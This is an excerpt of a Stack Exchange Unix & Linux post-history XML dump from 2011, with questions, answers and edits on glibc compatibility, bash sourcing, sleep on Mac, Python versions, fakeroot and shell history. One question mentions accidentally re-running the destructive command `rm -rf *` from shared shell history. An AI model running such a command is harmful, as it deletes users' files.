  <row Id="23145" PostHistoryTypeId="2" PostId="9704" RevisionGUID="c67e73a2-b1fa-4684-acf0-6e41d03036a7" CreationDate="2011-03-20T04:26:27.497" UserId="5846" Text="1) Try Adobe binary installation. (Choose Linux -&gt; tar.gz from Adobe download page)&#xD;&#xA;&#xD;&#xA;2) For a free (as in freedom) alternative to Adobe Flash, take a look at Gnu Gnash. It works fine for me." />
  <row Id="23146" PostHistoryTypeId="25" PostId="9683" RevisionGUID="de4891d7-754f-42f8-b587-781b4cadebdb" CreationDate="2011-03-20T05:31:25.503" Comment="http://twitter.com/#!/StackUnix/status/49342256796282880" />
  <row Id="23147" PostHistoryTypeId="2" PostId="9705" RevisionGUID="140ee5a8-d3de-4fb0-a692-69e97505d5f1" CreationDate="2011-03-20T05:32:41.497" UserId="5902" Text="Apparently glibc can be compiled with `--enable-kernel` to support older kernel versions. However, I haven't been able to find information on *what kernel versions are supported on a particular glibc version*. Ideally, I want to see a compatibility matrix for every glibc (2.x) and kernel (2.6.x) releases. Does it exist?&#xD;&#xA;&#xD;&#xA;If it doesn't exist, perhaps it's because every glibc versions (in the last 5 years or so) supports all kernels since 2.6.0?&#xD;&#xA;&#xD;&#xA;(Arch = x86-64, if that matters)" />
  <row Id="23148" PostHistoryTypeId="1" PostId="9705" RevisionGUID="140ee5a8-d3de-4fb0-a692-69e97505d5f1" CreationDate="2011-03-20T05:32:41.497" UserId="5902" Text="Can new glibc version be used with an old kernel?" />
  <row Id="23149" PostHistoryTypeId="3" PostId="9705" RevisionGUID="140ee5a8-d3de-4fb0-a692-69e97505d5f1" CreationDate="2011-03-20T05:32:41.497" UserId="5902" Text="élinuxàékernelàécompatibilityàéglibcà" />
  <row Id="23150" PostHistoryTypeId="2" PostId="9706" RevisionGUID="863c004c-9b02-40f6-8154-e0df1bf47bef" CreationDate="2011-03-20T05:47:21.610" UserId="2689" Text="Suppose I have `bash_functions.sh`:&#xD;&#xA;&#xD;&#xA;    function test(){&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function test2(){&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And in my `~/.bashrc` I do:&#xD;&#xA;&#xD;&#xA;    source ~/bash_functions.sh&#xD;&#xA;&#xD;&#xA;Is it possible to, when sourcing it, avoid sourcing a specific function? I mean, source everything in `bash_functions.sh`, except for `test`?" />
  <row Id="23151" PostHistoryTypeId="1" PostId="9706" RevisionGUID="863c004c-9b02-40f6-8154-e0df1bf47bef" CreationDate="2011-03-20T05:47:21.610" UserId="2689" Text="Is it possible to source a file in bash, but skipping specific functions?" />
  <row Id="23152" PostHistoryTypeId="3" PostId="9706" RevisionGUID="863c004c-9b02-40f6-8154-e0df1bf47bef" CreationDate="2011-03-20T05:47:21.610" UserId="2689" Text="ébashàéshellàécommandölineàéterminalàésourceà" />
  <row Id="23153" PostHistoryTypeId="2" PostId="9707" RevisionGUID="3df08338-5978-4165-9c95-1ae23e29ae30" CreationDate="2011-03-20T05:52:08.860" UserId="2689" Text="In my Linux box, `sleep` accepts seconds, minutes and hours. So:&#xD;&#xA;&#xD;&#xA;    sleep 10m&#xD;&#xA;&#xD;&#xA;Sleeps for 10 minutes (or 600s).&#xD;&#xA;&#xD;&#xA;`sleep` on Mac only accepts seconds as argument. `sleep 10m` doesn't work, only `sleep 600s`.&#xD;&#xA;&#xD;&#xA;What can I do? Create a function named `sleep` that converts when 10m or 10h is passed as a parameter to seconds, and calls the builtin sleep?" />
  <row Id="23154" PostHistoryTypeId="1" PostId="9707" RevisionGUID="3df08338-5978-4165-9c95-1ae23e29ae30" CreationDate="2011-03-20T05:52:08.860" UserId="2689" Text="Different sleep binaries on Mac (Darwin) and in Linux. How to handle properly?" />
  <row Id="23155" PostHistoryTypeId="3" PostId="9707" RevisionGUID="3df08338-5978-4165-9c95-1ae23e29ae30" CreationDate="2011-03-20T05:52:08.860" UserId="2689" Text="élinuxàébashàéunixàésleepàémacà" />
  <row Id="23156" PostHistoryTypeId="4" PostId="9707" RevisionGUID="76df1a58-bee0-4220-82d8-a91ec2ce4bc4" CreationDate="2011-03-20T06:04:49.737" UserId="2689" Comment="edited title" Text="Different sleep binaries on Mac (Darwin) and in Linux. How to properly handle the differences?" />
  <row Id="23157" PostHistoryTypeId="2" PostId="9708" RevisionGUID="fb7a4ee3-3163-44dc-9576-26dede594ace" CreationDate="2011-03-20T06:29:35.437" UserId="73" Text="`sleep` on Linux accepts seconds too (at least all the versions I've ever seen); can't you just use `sleep 600` on both?" />
  <row Id="23158" PostHistoryTypeId="2" PostId="9709" RevisionGUID="44f73d7d-6166-4696-ad91-9664829dddcc" CreationDate="2011-03-20T06:47:29.373" UserId="5685" Text="You could use homebrew for Mac OS X: https://github.com/mxcl/homebrew and install the coreutils package from there. That will allow you to install the GNU version of sleep that handles the same parameters as the linux version.&#xD;&#xA;&#xD;&#xA;Note that by default it installs the binaries with a 'g' prefix, so the command will actually be named gsleep, but the package provides a script file to alias all commands." />
  <row Id="23159" PostHistoryTypeId="2" PostId="9710" RevisionGUID="a7a91adb-0466-4323-9635-fe8c2ca1dae3" CreationDate="2011-03-20T06:57:20.577" UserId="5880" Text="That's not possible. You can divide bash_functions.sh into 2 file, one include what you want to source, and another include the functions you don't want to source. and use a 3rd script file to combine them for normal usage.  &#xD;&#xA;" />
  <row Id="23160" PostHistoryTypeId="4" PostId="9705" RevisionGUID="486b779a-8aef-483e-a7bf-85e39b96dbd1" CreationDate="2011-03-20T07:31:09.163" UserId="5902" Comment="edited title" Text="Can new glibc versions be used with an old kernel?" />
  <row Id="23161" PostHistoryTypeId="5" PostId="9699" RevisionGUID="4bd89d05-bbbb-41ab-b12f-f45e696edc89" CreationDate="2011-03-20T07:54:12.047" UserId="688" Comment="deleted 1 characters in body" Text="I have 2 computers, both have Ubuntu 10.10 desktop edition installed. Both have bluetooth dangle, but the manufacturers are different. I want to connect the two computers and share the Internet connection.&#xD;&#xA;&#xD;&#xA;On computer A, I set the bluetooth to 'visible'; and on computer B, I started the 'setup new device' process. On computer B, it can find A, but when it pops up a dialog and ask me to enter the PIN code on A, I cannot see anywhere on A that I can enter the code. I also tried from the other direction, but no luck.&#xD;&#xA;" />
  <row Id="23162" PostHistoryTypeId="4" PostId="356" RevisionGUID="51de9105-e5ea-421d-a497-8792653a3bcc" CreationDate="2011-03-20T07:57:42.213" UserId="688" Comment="make title parseable" Text="What does 'mergemaster' do that 'make distribution' doesn't?" />
  <row Id="23163" PostHistoryTypeId="6" PostId="356" RevisionGUID="51de9105-e5ea-421d-a497-8792653a3bcc" CreationDate="2011-03-20T07:57:42.213" UserId="688" Comment="make title parseable" Text="éfreebsdàéjailsà" />
  <row Id="23164" PostHistoryTypeId="2" PostId="9711" RevisionGUID="5f08e4c7-883d-4353-82dc-d2ffad8402e1" CreationDate="2011-03-20T08:02:22.803" UserId="1594" Text="I have a machine with Python 2.6 installed as a the default. Then, I installed Python 2.7, and manually created /usr/bin/python as a symlink to the new installation.&#xD;&#xA;&#xD;&#xA;Then, I was [running into problems with command-not-found][1]. I'm trying to reinstall it:&#xD;&#xA;&#xD;&#xA;    sudo apt-get remove command-not-found&#xD;&#xA;&#xD;&#xA;and I get this error:&#xD;&#xA;&#xD;&#xA;&gt; /usr/bin/python does not match the&#xD;&#xA;&gt; python default version. It must be&#xD;&#xA;&gt; reset to point to python2.6&#xD;&#xA;&#xD;&#xA;But I really want python 2.7 to be the default. How do I fix this mess?&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9580/why-is-this-python-error-message-generated-whenever-i-type-a-nonsense-command/9585#9585" />
  <row Id="23165" PostHistoryTypeId="1" PostId="9711" RevisionGUID="5f08e4c7-883d-4353-82dc-d2ffad8402e1" CreationDate="2011-03-20T08:02:22.803" UserId="1594" Text="What is the proper way to manage multiple python versions?" />
  <row Id="23166" PostHistoryTypeId="3" PostId="9711" RevisionGUID="5f08e4c7-883d-4353-82dc-d2ffad8402e1" CreationDate="2011-03-20T08:02:22.803" UserId="1594" Text="éubuntuàépythonàécommandönotöfoundà" />
  <row Id="23167" PostHistoryTypeId="2" PostId="9712" RevisionGUID="5f1dc155-17b8-4f2c-b60a-8bb28e00bac4" CreationDate="2011-03-20T08:02:51.103" UserId="5904" Text="You need to install gvfs to get PCManFM's Trash Can to work.&#xD;&#xA;&#xD;&#xA;It stores the files in the FreeDesktop standard location: ~/.local/share/Trash/files" />
  <row Id="23168" PostHistoryTypeId="2" PostId="9713" RevisionGUID="eb4479b0-e2a8-437b-8bf6-8427e0d33a5a" CreationDate="2011-03-20T08:13:29.360" UserId="688" Text="&gt; How do I fix this mess?&#xD;&#xA;&#xD;&#xA;Nothing more than reinstalling **`python2.7`**. It will undo your change (the symlink).&#xD;&#xA;&#xD;&#xA;Why do want it as default? Each time you need it, just use `python2.7` or include `#!/usr/bin/python2.7` (the shebang) at the beginning of your scripts.&#xD;&#xA;&#xD;&#xA;If you insist on having **`python2.7`** as system-wide default, use a later release of Ubuntu (currently it's Ubuntu 11.04, codenamed Natty).&#xD;&#xA;&#xD;&#xA;In future, avoid doing manual interventions like what you with the symlink thing. Python installations are complex beasts, and you don't wanna mess them like that." />
  <row Id="23169" PostHistoryTypeId="5" PostId="9713" RevisionGUID="fc56ad19-eb0e-41e9-a125-1e122b2f9e62" CreationDate="2011-03-20T08:18:37.627" UserId="688" Comment="added 33 characters in body; added 43 characters in body" Text="&gt; How do I fix this mess?&#xD;&#xA;&#xD;&#xA;Nothing more than reinstalling **`python2.7`**. It will undo your change (the symlink).&#xD;&#xA;&#xD;&#xA;Why do want it as default? Each time you need it, just use `python2.7` or include `#!/usr/bin/python2.7` (the shebang) at the beginning of your scripts.&#xD;&#xA;&#xD;&#xA;If you insist on having **`python2.7`** as system-wide default, use a later release of Ubuntu (currently it's Ubuntu 11.04, codenamed Natty). It uses it as default, instead of **2.6**.&#xD;&#xA;&#xD;&#xA;In future, avoid doing manual interventions like what you did with the symlink thing. This is especially for distro-managed files, and most especially for complex beasts like Python installations." />
  <row Id="23170" PostHistoryTypeId="25" PostId="9711" RevisionGUID="276aec6f-da21-4138-8b8c-d9e754380edc" CreationDate="2011-03-20T08:31:25.660" Comment="http://twitter.com/#!/StackUnix/status/49387555950571520" />
  <row Id="23171" PostHistoryTypeId="17" PostId="9715" RevisionGUID="e18aed88-ab2c-4767-9d8f-13aa1b85c407" CreationDate="2011-03-20T09:01:44.773" UserId="-1" Comment="from http://stackoverflow.com/questions/5104860/what-is-the-need-for-fakeroot-command-in-linux/5104984#5104984" Text="" />
  <row Id="23172" PostHistoryTypeId="17" PostId="9716" RevisionGUID="63db6791-9762-4a8c-8060-160922638a85" CreationDate="2011-03-20T09:01:44.773" UserId="-1" Comment="from http://stackoverflow.com/questions/5104860/what-is-the-need-for-fakeroot-command-in-linux/5104985#5104985" Text="" />
  <row Id="23173" PostHistoryTypeId="2" PostId="9715" RevisionGUID="43164f4a-0684-4bf7-8a71-22004c025897" CreationDate="2011-02-24T12:58:30.827" UserDisplayName="Dysaster" Text="I've used it for package building scripts. I was not sure that the person running the script has root level access, but the script still needed to generate, say, a tar file which contained files that belong to root. The simplest way to do it was run the package building script under fakeroot, which tricked the archiver into believing that the files belong to root, and packed them up as such inside the archive. This way, when the package was unpacked to the destination machine (on a different machine altogether), the files didn't belong to weird or non-existing users.&#xD;&#xA;&#xD;&#xA;Thinking about it, the only place I've seen this was for building some kind of archive: rootfs of embedded systems, tar.gz archives, rpm packages, .deb packages, etc." />
  <row Id="23174" PostHistoryTypeId="2" PostId="9716" RevisionGUID="c0f4c596-7699-4e00-b70d-565898611a95" CreationDate="2011-02-24T12:58:36.027" UserDisplayName="herbalessence" Text="AFAIK, fakeroot runs a command in an environment wherein it appears to have root privileges for file manipulation. This is useful for allowing users to create archives (tar, ar, .deb etc.) with files in them with root permissions/ownership. Without fakeroot one would need to have root privileges to create the constituent files of the archives with the correct permissions and ownership, and then pack them up, or one would have to construct the archives directly, without using the archiver.   &#xD;&#xA;&#xD;&#xA;fakeroot works by replacing the file manipulation library functions (chmod(), stat() etc.) by ones that simulate the effect the real library functions would have had, had the user really been root.  &#xD;&#xA;&#xD;&#xA;**Synopsis :**    &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;     fakeroot [-l|--lib library] [--faked faked-binary] [--] [command]  &#xD;&#xA;&#xD;&#xA;Check more here : [**fakeroot**][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man.he.net/man1/fakeroot" />
  <row Id="23175" PostHistoryTypeId="2" PostId="9714" RevisionGUID="8cb1618b-6742-4c0c-b9b0-ca07f9840bb1" CreationDate="2011-02-24T12:47:17.307" UserId="5071" Text="why do we need fakeroot command at all, can't we simply use sudo or su command. I tries to google on it but got no satisfying explanation.&#xD;&#xA;&#xD;&#xA;man page says :&#xD;&#xA;&#xD;&#xA;&quot;fakeroot - run a command in an environment faking root privileges for **file manipulation**&quot; &#xD;&#xA;&#xD;&#xA;about.com says: &#xD;&#xA;&#xD;&#xA;&quot;Gives a fake root environment. This package is intended to enable something like: dpkg-buildpackage -rfakeroot i.e. to remove the need to become root for a package build. This is done by setting LD_PRELOAD to libfakeroot.so, which provides wrappers around getuid, chown, chmod, mknod, stat, ..., thereby creating a fake root environment. If you don't understand any of this, you do not need fakeroot! &quot; --funny.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is what special purpose does it solves other then simple su or sudo command.&#xD;&#xA;&#xD;&#xA;for example for repacking all installed packages in ubuntu we give following command:&#xD;&#xA;&gt;$ fakeroot -u dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;can we do above command with sudo or su instead of fakeroot like this:&#xD;&#xA;&gt;$ sudo dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;running :&#xD;&#xA;&gt;$ sudo dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;gives me this error:&#xD;&#xA;&gt;control directory has bad permissions 700 (must be &gt;=0755 and &lt;=0775)&#xD;&#xA;&#xD;&#xA;Any reasons why??" />
  <row Id="23176" PostHistoryTypeId="1" PostId="9714" RevisionGUID="8cb1618b-6742-4c0c-b9b0-ca07f9840bb1" CreationDate="2011-02-24T12:47:17.307" UserId="5071" Text="What is the need for 'fakeroot' command in linux." />
  <row Id="23177" PostHistoryTypeId="3" PostId="9714" RevisionGUID="8cb1618b-6742-4c0c-b9b0-ca07f9840bb1" CreationDate="2011-02-24T12:47:17.307" UserId="5071" Text="écommandà" />
  <row Id="23178" PostHistoryTypeId="17" PostId="9714" RevisionGUID="e396b54a-6a10-4ff2-b0cb-4c45b17975b4" CreationDate="2011-03-20T09:01:44.773" UserId="-1" Comment="from http://stackoverflow.com/questions/5104860/what-is-the-need-for-fakeroot-command-in-linux" Text="" />
  <row Id="23179" PostHistoryTypeId="5" PostId="9714" RevisionGUID="6f64e283-ac1a-4804-932d-a9466a724ac9" CreationDate="2011-03-20T09:16:16.190" UserId="73" Comment="deleted 49 characters in body; edited tags" Text="Why do we need fakeroot command at all? Can't we simply use the `sudo` or `su` commands?&#xD;&#xA;&#xD;&#xA;The man page says:&#xD;&#xA;&#xD;&#xA;&gt; fakeroot - run a command in an environment faking root privileges for **file manipulation**&#xD;&#xA;&#xD;&#xA;About.com says: &#xD;&#xA;&#xD;&#xA;&gt; Gives a fake root environment. This package is intended to enable something like: dpkg-buildpackage -rfakeroot i.e. to remove the need to become root for a package build. This is done by setting LD_PRELOAD to libfakeroot.so, which provides wrappers around getuid, chown, chmod, mknod, stat, ..., thereby creating a fake root environment. If you don't understand any of this, you do not need fakeroot!&#xD;&#xA;&#xD;&#xA;My question is, what special purpose does it solve that a simple su or sudo don't? For example, for repacking all installed packages in ubuntu we give following command:&#xD;&#xA;&#xD;&#xA;    $ fakeroot -u dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;Can we do the above command with sudo or su instead of fakeroot like this:&#xD;&#xA;&#xD;&#xA;    $ sudo dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Running:&#xD;&#xA;&#xD;&#xA;    $ sudo dpkg-repack `dpkg --get-selections | grep install | cut -f1`&#xD;&#xA;&#xD;&#xA;gives me this error:&#xD;&#xA;&#xD;&#xA;&gt; control directory has bad permissions 700 (must be &gt;=0755 and &lt;=0775)&#xD;&#xA;&#xD;&#xA;Any reason why?" />
  <row Id="23180" PostHistoryTypeId="6" PostId="9714" RevisionGUID="6f64e283-ac1a-4804-932d-a9466a724ac9" CreationDate="2011-03-20T09:16:16.190" UserId="73" Comment="deleted 49 characters in body; edited tags" Text="ésudoàésuàéfakerootà" />
  <row Id="23181" PostHistoryTypeId="5" PostId="9676" RevisionGUID="98cae313-ed81-4a98-b1fe-f736cf8c7743" CreationDate="2011-03-20T09:40:20.210" UserId="2343" Comment="added 23 characters in body" Text="    # Get one character per loop, until the user presses &lt;Enter&gt;&#xD;&#xA;    while true ; do &#xD;&#xA;        read -n 1 c&#xD;&#xA;        (( ${#c} == 0 )) &amp;&amp; break # Exit the loop. Input length is 0  &#xD;&#xA;                                  # ie. The user has pressed Enter&#xD;&#xA;        #&#xD;&#xA;        if [   \( ! &quot;$c&quot; \&lt; &quot;a&quot; -a  ! &quot;$c&quot; \&gt; &quot;z&quot; \) \&#xD;&#xA;            -o \( ! &quot;$c&quot; \&lt; &quot;A&quot; -a  ! &quot;$c&quot; \&gt; &quot;Z&quot; \) ]&#xD;&#xA;        then&#xD;&#xA;            val=($(ascii -s $c)) # build an array of ascii info for this char &#xD;&#xA;            echo &quot; ... The decimal value of $c is: ${val[1]}&quot;&#xD;&#xA;        else&#xD;&#xA;            echo -n  $'\r \r' # overwrite the invalid character&#xD;&#xA;        fi &#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="23183" PostHistoryTypeId="2" PostId="9718" RevisionGUID="69443557-355e-4633-97fe-b80b2056e0dc" CreationDate="2011-03-20T10:02:46.333" UserId="688" Text="According to the project's [README][1] you can use glibc with 2.4 kernels, but you will lose some functionality:&#xD;&#xA;&#xD;&#xA;&gt; When working with Linux kernels, the GNU C Library version 2.4 is&#xD;&#xA;intended primarily for use with Linux kernel version 2.6.0 and later.&#xD;&#xA;We only support using the NPTL implementation of pthreads, which is now&#xD;&#xA;the default configuration.  Most of the C library will continue to work&#xD;&#xA;on older Linux kernels and many programs will not require a 2.6 kernel&#xD;&#xA;to run correctly.  However, pthreads and related functionality will not&#xD;&#xA;work at all on old kernels and we do not recommend using glibc 2.4 with&#xD;&#xA;any Linux kernel prior to 2.6.&#xD;&#xA;&#xD;&#xA;Note that `--enable-kernel=VERSION` means:&#xD;&#xA;&#xD;&#xA;&gt; compile for compatibility with kernel not older than VERSION&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eglibc.org/cgi-bin/viewcvs.cgi/trunk/libc/README?rev=10032&amp;view=markup" />
  <row Id="23184" PostHistoryTypeId="2" PostId="9719" RevisionGUID="95de90f3-5a87-4337-bf22-6360cade6d70" CreationDate="2011-03-20T10:36:06.273" UserId="688" Text="When I run `jhbuildone gudev` I get:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Making all in .&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevclient.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevdevice.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevmarshal.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevenumtypes.lo&#xD;&#xA;      CCLD   extras/gudev/libgudev-1.0.la&#xD;&#xA;      GEN    extras/gudev/GUdev-1.0.gir&#xD;&#xA;    /opt/gnome/bin/python: error while loading shared libraries: libpython2.5.so.1.0: cannot open shared object file: No such file or directory&#xD;&#xA;    make[2]: *** [extras/gudev/GUdev-1.0.gir] Error 127&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;    *** Error during phase build of gudev: ########## Error running make   *** [1/1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTES**:&#xD;&#xA;&#xD;&#xA;* I checked that I do have **/opt/gnome/lib/libpython2.5.so.1.0**.&#xD;&#xA;* At time of writing, I'm was running latest JHBuild.&#xD;&#xA;* I used `jhbuild bootstrap --ignore-system` to avoid any incompatibilities that may arise from my Debian packages." />
  <row Id="23185" PostHistoryTypeId="1" PostId="9719" RevisionGUID="95de90f3-5a87-4337-bf22-6360cade6d70" CreationDate="2011-03-20T10:36:06.273" UserId="688" Text="I am failing to build gudev with JHBuild" />
  <row Id="23186" PostHistoryTypeId="3" PostId="9719" RevisionGUID="95de90f3-5a87-4337-bf22-6360cade6d70" CreationDate="2011-03-20T10:36:06.273" UserId="688" Text="égnomeàécompilingà" />
  <row Id="23187" PostHistoryTypeId="5" PostId="9719" RevisionGUID="6e86fce5-d216-43fe-9e21-8cd57d9b9d3e" CreationDate="2011-03-20T10:47:30.320" UserId="688" Comment="added 78 characters in body; deleted 8 characters in body; added 10 characters in body" Text="When I run `jhbuildone gudev` I get:&#xD;&#xA;&#xD;&#xA;    &lt;SNIP&gt;&#xD;&#xA;    Making all in .&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevclient.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevdevice.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevmarshal.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevenumtypes.lo&#xD;&#xA;      CCLD   extras/gudev/libgudev-1.0.la&#xD;&#xA;      GEN    extras/gudev/GUdev-1.0.gir&#xD;&#xA;    /opt/gnome/bin/python: error while loading shared libraries: libpython2.5.so.1.0: cannot open shared object file: No such file or directory&#xD;&#xA;    make[2]: *** [extras/gudev/GUdev-1.0.gir] Error 127&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;    *** Error during phase build of gudev: ########## Error running make   *** [1/1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTES**:&#xD;&#xA;&#xD;&#xA;* I verified that I do have **/opt/gnome/lib/libpython2.5.so.1.0**.&#xD;&#xA;* At time of writing, I'm running latest JHBuild.&#xD;&#xA;* I used `jhbuild bootstrap --ignore-system` to avoid any incompatibilities that may arise from my Debian packages. Note that the Python 2.5 so file is built and installed by this command." />
  <row Id="23188" PostHistoryTypeId="5" PostId="475" RevisionGUID="13f99c89-d1f8-4e48-8605-686b5e19fb06" CreationDate="2011-03-20T11:04:16.173" UserId="688" Comment="rm greetings and apology" Text="I'm aware that shared objects under Linux use &quot;so numbers&quot;, namely that different versions of a shared object are given different extensions, for example:&#xD;&#xA;&#xD;&#xA; - `example.so.1`&#xD;&#xA; - `example.so.2`&#xD;&#xA;&#xD;&#xA;I understand the idea is to have two distinct files such that two versions of a library can exist on a system (as opposed to &quot;DLL Hell&quot; on Windows). I'd like to know how this works in practice? Often, I see that `example.so` is in fact a symbolic link to `example.so.2` where `.2` is the latest version. How then does an application depending on an older version of `example.so` identify it correctly? Are there any rules as to what numbers one must use? Or is this simply convention? Is it the case that, unlike in Windows where software binaries are transferred between systems, if a system has a newer version of a shared object it is linked to the older version automatically when compiling from source?&#xD;&#xA;&#xD;&#xA;I suspect this is related to `ldconfig` but I'm not sure how." />
  <row Id="23189" PostHistoryTypeId="4" PostId="467" RevisionGUID="d4cbdc08-b453-42d4-872f-69c287c4c0ca" CreationDate="2011-03-20T11:23:19.057" UserId="688" Comment="edited title; edited title" Text="The 'less' command-line equivalent of 'tail -f'" />
  <row Id="23190" PostHistoryTypeId="25" PostId="9705" RevisionGUID="1973acbe-b4fd-4d2c-8acd-fed1b823b107" CreationDate="2011-03-20T11:31:25.700" Comment="http://twitter.com/#!/StackUnix/status/49432854786080768" />
  <row Id="23191" PostHistoryTypeId="5" PostId="464" RevisionGUID="d877eff8-2663-423d-a649-6a6b3e19bbd5" CreationDate="2011-03-20T11:33:30.780" UserId="688" Comment="formatting; replace rare word" Text="I've recently switched to using a Mac full-time, and am having trouble getting used to Terminal.app after years of loving gnome-terminal.  I miss having URLs show up underlined, using alt+arrow to move between words, and having screen+ssh behave the way I'm used to it.&#xD;&#xA;&#xD;&#xA;I'm trying to get used to the following key combinations to survive in Terminal.app:&#xD;&#xA;&#xD;&#xA; * &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to go back a word&#xD;&#xA; * &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to go forward a word&#xD;&#xA; * &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to go to the beginning of a line&#xD;&#xA; * &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; to go to the end of a line&#xD;&#xA; * you can still right-click on a URL to open it, it just doesn't look pretty like in gnome-terminal&#xD;&#xA;&#xD;&#xA;Does anyone have any other good tips or alternative terminal suggestions to retain command line efficiency on a Mac?" />
  <row Id="23192" PostHistoryTypeId="2" PostId="9720" RevisionGUID="612f5527-1a62-44b7-b9ac-ddb95278dc8f" CreationDate="2011-03-20T11:56:28.207" UserId="5661" Text="Imagine that you are a developer/package maintainer, etc. working on a remote server. You want to update the contents of a package and rebuild it, download and customize a kernel from kernel.org and build it, etc. While trying to do those things, you'll find out that some steps require you to have `root` rights (`UID` and `GID` 0) for different reasons (security, overlooked permissions, etc). But it is not possible to get `root` rights, since you are working on a remote machine (and many other users have the same problem with you). This is what exactly `fakeroot` does: it pretends an effective `UID` and `GID` of 0 to the environment which requires them. In practice you never get real `root` privileges (in opposite to `su` and `sudo` that you mention)." />
  <row Id="23193" PostHistoryTypeId="5" PostId="523" RevisionGUID="738421c7-7bdd-409a-aaeb-a5bbcd1171a0" CreationDate="2011-03-20T12:10:55.520" UserId="688" Comment="deleted 3 characters in body; edited tags; edited title" Text="I face this issue on some of Unix servers. When I open different session for same user, command history is shared by all the session. This creates issues if by mistake I press `Ctrl-P` or `up arrow` and just press Enter.&#xD;&#xA;On one occasion I end up running `rm -rf *` thankfully I was in directory where I don't have permissions to remove files.&#xD;&#xA;&#xD;&#xA;How to have separate command history for different sessions for the same user?&#xD;&#xA;Most of the time I am using ksh and tcsh shells." />
  <row Id="23194" PostHistoryTypeId="4" PostId="523" RevisionGUID="738421c7-7bdd-409a-aaeb-a5bbcd1171a0" CreationDate="2011-03-20T12:10:55.520" UserId="688" Comment="deleted 3 characters in body; edited tags; edited title" Text="How to have separate command history for different sessions for the same user?" />
  <row Id="23195" PostHistoryTypeId="6" PostId="523" RevisionGUID="738421c7-7bdd-409a-aaeb-a5bbcd1171a0" CreationDate="2011-03-20T12:10:55.520" UserId="688" Comment="deleted 3 characters in body; edited tags; edited title" Text="écommandölineàécommandöhistoryàétcshàékshà" />
  <row Id="23196" PostHistoryTypeId="2" PostId="9721" RevisionGUID="b8c170a1-0a08-4edf-94ad-1ce82edb7bef" CreationDate="2011-03-20T12:13:32.303" UserId="2180" Text="Not exactly, however, you can override the test() function.  The last function definition always takes precedence. So if you source a file that has `test()` then define a function with the same name after that, the latter function will override the one that was sourced. I take advantage of this to provide some object-orientedness in some of my scripts.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;bash_functions.sh:&#xD;&#xA;&#xD;&#xA;    test(){&#xD;&#xA;        echo &quot;This is the test function from bash_functions.&quot;&#xD;&#xA;    }&#xD;&#xA;    test2(){&#xD;&#xA;        echo &quot;This is the test2 function from bash_functions.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;scripty_scripterson.sh&#xD;&#xA;&#xD;&#xA;    test2(){&#xD;&#xA;        #this is thrown in just to show what happens in&#xD;&#xA;        #the other direction&#xD;&#xA;        echo &quot;This is the test2 function from scripty.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    source bash_functions.sh&#xD;&#xA;&#xD;&#xA;    test1(){&#xD;&#xA;        echo &quot;This is the test1 function from scripty.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    test1&#xD;&#xA;    test2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ./scripty_scripterson.sh &#xD;&#xA;    This is the test1 function from scripty.&#xD;&#xA;    This is the test2 function from bash_functions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23198" PostHistoryTypeId="2" PostId="9723" RevisionGUID="78c42e7d-8ab9-4520-91a4-1c40ddbcfaf8" CreationDate="2011-03-20T12:16:49.463" UserId="5664" Text="Dear community!:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question: how can i install Google Chrome on OpenBSD?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="23199" PostHistoryTypeId="1" PostId="9723" RevisionGUID="78c42e7d-8ab9-4520-91a4-1c40ddbcfaf8" CreationDate="2011-03-20T12:16:49.463" UserId="5664" Text="Google Chrome on OpenBSD" />
